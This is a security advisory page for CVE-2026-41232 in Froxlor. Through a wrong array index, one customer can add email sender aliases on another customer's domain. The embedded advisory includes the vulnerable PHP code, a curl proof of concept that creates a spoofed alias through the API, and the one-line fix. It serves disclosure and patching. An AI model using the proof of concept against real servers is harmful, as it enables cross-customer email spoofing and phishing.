CVE-2026-41232: Froxlor/froxlor Froxlor Has An Email Sender Vulnerability
MODERATECVE-2026-41232 is a MODERATE (CVSS 5.0) froxlor has an email sender vulnerability (CWE-863: Incorrect Authorization) affecting Froxlor/froxlor libraries in the Packagist ecosystem. The issue involves froxlor has an email sender alias domain ownership bypass via wrong array index allows cross-customer email spoofing. Remediation is available by upgrading affected packages to version 2.3.6.
CVE-2026-41232 at a Glance
Security Impact
CVSS: 5.0
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N).
How to Fix CVE-2026-41232
To remediate this vulnerability, upgrade all affected Froxlor/froxlor dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade froxlor/froxlor to 2.3.6
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for froxlor/froxlor
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-41232, inspect your project dependencies for Froxlor/froxlor:
inspect dependencies for froxlor/froxlor
Analyze the terminal output to locate any version of Froxlor/froxlor in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.3.6), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-863: Incorrect Authorization, where the product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. In Froxlor/froxlor, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-41232 Affected Froxlor/froxlor Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
froxlor/froxlor
|
Packagist |
< 2.3.6
|
2.3.6
|
References
Frequently Asked Questions
What is CVE-2026-41232?
Which Froxlor/froxlor versions are affected?
What version fixes CVE-2026-41232?
Is froxlor/froxlor affected?
What is the CVSS score of CVE-2026-41232?
What CWE is associated with CVE-2026-41232?
How can I check Packagist dependencies for CVE-2026-41232?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-vmjj-qr7v-pxm6",
"modified" : "2026-04-24T20:54:28Z",
"published" : "2026-04-16T00:47:05Z",
"aliases" : [ "CVE-2026-41232" ],
"summary" : "Froxlor has an Email Sender Alias Domain Ownership Bypass via Wrong Array Index Allows Cross-Customer Email Spoofing",
"details" : "## Summary\n\nIn `EmailSender::add()`, the domain ownership validation for full email sender aliases uses the wrong array index when splitting the email address, passing the local part instead of the domain to `validateLocalDomainOwnership()`. This causes the ownership check to always pass for non-existent \"domains,\" allowing any authenticated customer to add sender aliases for email addresses on domains belonging to other customers. Postfix's `sender_login_maps` then authorizes the attacker to send emails as those addresses.\n\n## Details\n\nIn `lib/Froxlor/Api/Commands/EmailSender.php` at line 100, when a customer adds a full email address (not a `@domain` wildcard) as an allowed sender, the code splits on `@` and takes index `[0]`:\n\n```php\n// Line 96-106\nif (substr($allowed_sender, 0, 1) != '@') {\n if (!Validate::validateEmail($idna_convert->encode($allowed_sender))) {\n Response::standardError('emailiswrong', $allowed_sender, true);\n }\n self::validateLocalDomainOwnership(explode(\"@\", $allowed_sender)[0] ?? \"\"); // BUG: [0] is the local part\n} else {\n if (!Validate::validateDomain($idna_convert->encode(substr($allowed_sender, 1)))) {\n Response::standardError('wildcardemailiswrong', substr($allowed_sender, 1), true);\n }\n self::validateLocalDomainOwnership(substr($allowed_sender, 1)); // CORRECT: passes domain\n}\n```\n\nFor input `admin@domain-b.com`, `explode(\"@\", \"admin@domain-b.com\")` returns `[\"admin\", \"domain-b.com\"]`. Index `[0]` is `\"admin\"` — the local part, not the domain.\n\nThe `validateLocalDomainOwnership()` function (lines 346-355) then queries `panel_domains` for a domain matching `\"admin\"`:\n\n```php\nprivate static function validateLocalDomainOwnership(string $domain): void\n{\n $sel_stmt = Database::prepare(\"SELECT customerid FROM `\" . TABLE_PANEL_DOMAINS . \"` WHERE `domain` = :domain\");\n $domain_result = Database::pexecute_first($sel_stmt, ['domain' => $domain]);\n if ($domain_result && $domain_result['customerid'] != CurrentUser::getField('customerid')) {\n Response::standardError('senderdomainnotowned', $domain, true);\n }\n}\n```\n\nSince no domain named `\"admin\"` exists in `panel_domains`, `$domain_result` is false, and the function returns without error — the ownership check silently passes.\n\nThe inserted `mail_sender_aliases` row is then picked up by Postfix's `sender_login_maps` query (configured in `mysql-virtual_sender_permissions.cf`):\n\n```sql\n... UNION (SELECT mail_sender_aliases.email FROM mail_sender_aliases\nWHERE mail_sender_aliases.allowed_sender = '%s') ...\n```\n\nThis query maps the `allowed_sender` back to the mail user, authorizing them to send as that address via SMTP.\n\n## PoC\n\n```bash\n# Prerequisites: Froxlor instance with mail.enable_allow_sender enabled,\n# two customers: Customer A (owns domain-a.com) and Customer B (owns domain-b.com)\n\n# Step 1: As Customer A, add a sender alias claiming Customer B's domain\n# Via API:\ncurl -X POST 'https://froxlor-host/api/v1/' \\\n -H 'Authorization: Basic <customer-A-credentials>' \\\n -H 'Content-Type: application/json' \\\n -d '{\n \"command\": \"EmailSender.add\",\n \"params\": {\n \"emailaddr\": \"myaccount@domain-a.com\",\n \"allowed_sender\": \"ceo@domain-b.com\"\n }\n }'\n\n# Expected: Error \"senderdomainnotowned\" because domain-b.com belongs to Customer B\n# Actual: 200 OK — alias is created because validateLocalDomainOwnership\n# receives \"ceo\" (local part) instead of \"domain-b.com\" (domain)\n\n# Step 2: Verify the alias was inserted\ncurl -X POST 'https://froxlor-host/api/v1/' \\\n -H 'Authorization: Basic <customer-A-credentials>' \\\n -H 'Content-Type: application/json' \\\n -d '{\n \"command\": \"EmailSender.listing\",\n \"params\": {\"emailaddr\": \"myaccount@domain-a.com\"}\n }'\n\n# Step 3: Customer A can now send email as ceo@domain-b.com via SMTP\n# because Postfix sender_login_maps will match the mail_sender_aliases entry\n# and authorize Customer A's mail account to use that sender address.\n```\n\nThe same attack works via the web UI by POST-ing to `customer_email.php` with `action=add_sender` and the target domain in `allowed_domain`.\n\n## Impact\n\nAny authenticated customer on a multi-tenant Froxlor instance can add sender aliases for email addresses on domains belonging to other customers. This allows:\n\n- **Cross-customer email spoofing**: Send emails impersonating users on other customers' domains, bypassing Postfix's `smtpd_sender_login_maps` restriction that is specifically designed to prevent this.\n- **Multi-tenant isolation breach**: The domain ownership check (`validateLocalDomainOwnership`) is the only barrier preventing cross-customer sender aliasing, and it is completely ineffective for full email addresses.\n- **Phishing and reputation damage**: Spoofed emails originate from the legitimate mail server, passing SPF/DKIM checks for the target domain if those records point to the Froxlor server.\n\nNote: The wildcard (`@domain`) code path at line 105 is **not** affected — it correctly passes the domain to `validateLocalDomainOwnership()`.\n\n## Recommended Fix\n\nChange index `[0]` to `[1]` on line 100 of `lib/Froxlor/Api/Commands/EmailSender.php`:\n\n```php\n// Before (line 100):\nself::validateLocalDomainOwnership(explode(\"@\", $allowed_sender)[0] ?? \"\");\n\n// After:\nself::validateLocalDomainOwnership(explode(\"@\", $allowed_sender)[1] ?? \"\");\n```\n\nThis ensures the domain part of the email address is passed to the ownership validation, matching the behavior of the wildcard path on line 105.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "froxlor/froxlor"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.3.6"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/froxlor/froxlor/security/advisories/GHSA-vmjj-qr7v-pxm6"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41232"
}, {
"type" : "WEB",
"url" : "https://github.com/froxlor/froxlor/commit/77d04badf549d5f8429828f0fbc69bc37a35e07a"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/froxlor/froxlor"
}, {
"type" : "WEB",
"url" : "https://github.com/froxlor/froxlor/releases/tag/2.3.6"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-863" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-16T00:47:05Z",
"nvd_published_at" : "2026-04-23T05:16:05Z"
}
}